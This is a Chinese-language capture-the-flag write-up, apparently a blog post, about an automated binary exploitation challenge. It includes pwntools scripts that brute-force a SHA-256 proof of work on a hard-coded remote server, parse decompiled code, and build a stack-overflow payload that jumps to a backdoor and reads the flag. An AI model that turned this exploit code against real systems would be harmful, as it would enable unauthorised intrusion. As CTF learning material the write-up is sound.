看上去说登录,以为是最简单的一题后来越作越想放弃,不过其它的也不会,用了半天的时间写了个程序,虽然不可能是预期的。但也算有结果。
先是给了个端口,然后就没有了。登上去提示爆4位sha256,这点没啥难度,由于有用的在后也所以肯定得写个小爆破程序,然后会返回base64编码的程序:
from pwn import *
import hashlib
from base64 import b64decode
import os
context(arch='amd64')
#nc 123.60.82.85 1447
p = remote('123.60.82.85', 1447)
context.log_level = 'debug'
p.recvuntil(b'sha256(xxxx + ')
tail = p.recv(16)
p.recv(5)
hx = p.recv(64)
ss = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
print(hx)
print(tail)
def gethash():
for i1 in ss:
print(i1, end=' ')
for i2 in ss:
for i3 in ss:
for i4 in ss:
vv = bytes([i1,i2,i3,i4]) + tail
#print(vv)
k = hashlib.sha256(vv).hexdigest().encode()
if k == hx:
print(b'OK', bytes([i1,i2,i3,i4]))
p.sendlineafter(b':', bytes([i1,i2,i3,i4]))
data = p.recvuntil(b'\n==end==', drop=True)
open('check1.out', 'wb').write(b64decode(data))
return bytes([i1,i2,i3,i4])
sss = gethash()
#p.sendlineafter(b':', sss)
os.chmod('check1.out', 0o777)
pause() #未完待续
程序放到ida里发现没有难度,一个溢出题还有后门,直接溢出写后门就行了。可以你输入东西人家就超时了。前边看题目提示是20分钟重启一次还以为20分钟才超时,后来才知道错了,程序前头定的78秒。那这个活没法生工完成了。
记得原来看过一篇文章,说用angr自动分析程序,但是我的angr就一直没安上,又试了几次都没安上。反正呆着也是呆着,用程序自己解释吧,反正程序比较简单就那么几句话。
- input_val() 读数字空格结束,相当于scanf('%d', &v001);
- input_line()这个读入指定长度的串
- if有两种情况一种是计算一个算式,算式比较简单加减乘和异或得几,变量用input_val输入的值,如果不是乘法的话第1个数置结果(输入顺序不一定是第一)其它置0,如果是乘法的话置安第1个,第2个要置成1 。这种方法虽然不能包含所有可能算式,但这个题的算式都满足。
- 另一种是fksth进行比较,就是input_line输入的字符逐个异或后跟给定串比较,得到正确的数字,0结束。这个只需要处理第1个字符就行,想不为0就用异或数与第1个字符异或,这个肯定结果肯定就不为0了,如果想为0就直接输入异或的数
- 最后就是找一个变量的rbp-XXX的值小于可输入的长度,这样就能溢出了。在这输入padding+rbp+backdoor+padding就行了。
说是容易但困难重重,原来ljust对于有些字符会达不到预期。这个人工debug很累很累。有些估计认成utf8了,烦人的utf-8和python3的bytes类型,K。不知道开发的人是脑子进水了还是被踢了,非弄个转来转去的bytes .
最后的作法就是先用一个程序爆破sha256得到文件后,base64解码存成文件然后暂停,然后把程序拿到ida得到c文件,然后用另一个程序读c文件生成payload。一开始这个文件恢复执行读payload写入,然后就直接看到flag了。78秒,紧紧的,没有工具就这样,估计有angr的会完全不一样。为什么说要“站到巨人肩上”呢。哎,巨人安不上。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
from pwn import *
fp = open('log.c', 'rb')
#var
vlist_name = []
vlist_offset = []
while True:
line = fp.readline()
if b'init' in line:
break
if b'v' in line and b'rbp-' in line:
s1 = line.index(b'v')
s2 = line.index(b';', s1)
s3 = line.index(b'[', s1)
if s3 < s2:
s2 = s3
vname = line[s1:s2]
s4 = line.index(b'rbp-', s1 )
s5 = line.index(b'h', s4)
offset = int(line[s4+4:s5], 16)
#print(vname, offset)
vlist_name.append( vname )
vlist_offset.append(offset)
def change(head, name):
print('In:')
#head = head + b'\r\n'
print('head:', len(head))
while True:
line = fp.readline().strip()
if b'printf' in line:
p_name = name +b'\n'+ line
print(line)
break
tmp = b''
tdic_name = []
tdic_val = []
stat = 0
pad = 0
pad_name = b''
while True:
line = fp.readline()
if b'}' in line:
#print('Return:', head)
print('Return:')
return
if b'input_line' in line:
s1 = line.index(b'v')
s2 = line.index(b',', s1)
pad_name = line[s1:s2 ]
s1 = line.index(b' ', s2)
s2 = line.index(b'u', s1)
if b'uLL' in line:
s2 = line.index(b'uLL', s1)
pad = int(line[s1+1: s2] , 16)
print('------pad--------', hex(pad))
#door
if pad >= vlist_offset[vlist_name.index(pad_name)]+8+8:
h1 = b'A'* (vlist_offset[vlist_name.index(pad_name)] )+p64(0) + p64(0x401362) + p64(0x40134c)
h1 = h1.ljust(pad, b'\x00')
print(len(h1))
open('ok.txt', 'wb').write(head+h1)
print('Door:', head+h1 )
print(p_name.decode())
p = process('./check1.out')
p.send(head+h1)
p.sendline(b'cat /flag')
p.interactive()
exit()
elif b'input_val()' in line:
aline = line.strip().split(b' ')
if b'=' in aline:
tdic_name.append(aline[0])
tdic_val.append(b'0 ')
else:
tdic_name.append(b'vxxx')
tdic_val.append(b'0 ')
elif b' ^=' in line:
aline = line.strip().split(b' ')
if len(aline[2]) > 7:
continue
if b'v' not in aline[0]:
continue
tdic_name.append(aline[0])
if b'LL;' in line:
tdic_val.append(int(aline[2][:-3], 16))
else:
tdic_val.append(int(aline[2][:-2], 16))
if b'if' in line:
break
#print(tdic_name, tdic_val )
#print('line:', line)
#if a + b == c
if b'==' in line:
s1 = line.index(b'v')
s2 = line.index(b' ', s1 )
s3 = line.index(b')', s2 )
if s3 < s2:
s2 = s3
v1 = line[s1:s2 ]
v3 = line[s2+1:s2+2] #运算符,乘法后边值为1,其它为0
s3 = line.index(b'== ')
s4 = line.index(b' ', s3+3 )
v2 = line[s3+3:s4 ]
#print(v3)
if b'*' == v3:
s3 = line.index(b'v', s2)
s4 = line.index(b' ', s3 )
s5 = line.index(b')', s3 )
if s5 < s4:
s4 = s5
v4 = line[s3:s4 ]
print('v4:', v4)
tdic_val[tdic_name.index(v4 )] = b'1 '
h2 = b''.join(tdic_val ) #错
tdic_val[tdic_name.index(v1 )] = v2 + b' '
h1 = b''.join(tdic_val ) #对
#print(h1, h2)
print(len(h1), len(h2))
change(head+h1, p_name)
change(head+h2, p_name)
elif b'fksth' in line:
s1 = line.index(b'v')
s2 = line.index(b',', s1)
v1 = line[s1:s2 ]
s1 = line.index(b'"',s2 )
v2 = line[s1+1]
if pad_name not in tdic_name:
rval = 0
else:
rval = tdic_val[tdic_name.index(pad_name )]
h1 = bytes([ rval ^ v2 ]) + (pad-1) * b'\x00'
h2 = bytes([ rval ]) + (pad-1) * b'\x00'
if b'!' in line:
h1,h2 = h2,h1
print(len(h1), len(h2))
change(head + h1, p_name)
change(head + h2, p_name)
#print(tdic_name, tdic_val )
change(b'', b'')
#print(vlist)
然后回到第一段程序的后部
#上接pause
payload = open('ok.txt', 'rb').read()
p.send(payload)
p.sendline(b'cat /flag')
p.interactive()
最后竟然玩出了生死时速的感觉。